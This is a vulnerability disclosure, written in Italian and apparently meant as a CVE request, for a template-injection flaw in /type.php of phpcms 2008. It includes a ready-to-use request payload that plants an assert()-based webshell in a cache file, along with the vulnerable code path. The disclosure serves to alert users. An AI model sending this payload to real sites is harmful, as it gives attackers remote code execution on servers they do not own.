
Recentemente abbiamo trovato una vulnerabilità in /type.php del codice sorgente di phpcms 2008. Quando gli attaccanti inviano richieste create ad arte come "/type.php?template=tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss", il contenuto malevolo (in questo caso "@unlink(FILE);assert($_POST[1]);") verrà scritto in un file cache (in questo caso "/cache_template/rss.tpl.php") sul sito phpcms 2008.
In /type.php si trova il seguente codice:
if(empty($template)) $template = 'type';
...
include template('phpcms', $template);
E template() è definito in /include/global.func.php con il seguente codice:
template_compile($module, $template, $istag);
Ancora, richiama template_compile(), definito in /include/template.func.php come segue:
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
$content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
$strlen = file_put_contents($compiledtplfile, $content);
Nel payload di attacco, $template è impostato a "tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss".
Quindi il percorso completo passato a file_put_contents() diventa "data/cache_template/phpcms_tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss.tpl.php", che verrà interpretato da PHP come "data/cache_template/rss.tpl.php". E il contenuto "@unlink(FILE);assert($_POST[1]);" verrà scritto in questo file, permettendo all'attaccante di usare tale file come webshell per eseguire codice arbitrario.
La causa principale del problema è che la variabile $template non viene filtrata prima di essere utilizzata come parte del percorso e del contenuto del file.
Abbiamo contattato il venditore di phpcms tramite i metodi presenti sul suo sito ufficiale, ma il telefono non è raggiungibile e il messaggio non ha ricevuto risposta. Phpcms 2008 non è la versione più recente di phpcms, ma molti utenti la usano ancora. La vulnerabilità che abbiamo trovato non è mai stata scoperta né ha ricevuto un CVE. Si prega di assegnare un ID CVE alla vulnerabilità in modo da poter avvisare gli utenti.